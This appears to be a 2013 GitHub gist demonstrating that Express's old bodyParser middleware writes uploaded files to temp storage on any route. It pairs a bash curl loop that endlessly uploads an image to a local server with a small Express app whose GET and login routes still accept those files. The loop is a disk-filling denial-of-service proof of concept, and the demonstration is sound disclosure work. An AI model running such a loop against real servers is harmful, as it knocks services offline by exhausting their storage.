Created
August 15, 2013 14:55
-
-
Save lerouxb/6241490 to your computer and use it in GitHub Desktop.
Fill up the temp file system with trollfaces.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| while : | |
| do | |
| echo "Press [CTRL+C] to stop.." | |
| curl -i -F image=@trollface.png http://127.0.0.1:3000/ | |
| done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var express = require('express'); | |
| var app = express(); | |
| app.use(express.bodyParser()); | |
| app.get('/', function(req, res){ | |
| console.log(req.files.image.path); | |
| res.send("I don't even allow posts!"); | |
| }); | |
| app.post('/login', function(req, res){ | |
| console.log(req.files.image.path); | |
| res.send("But I'm just a little login form!"); | |
| }); | |
| app.listen(3000); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment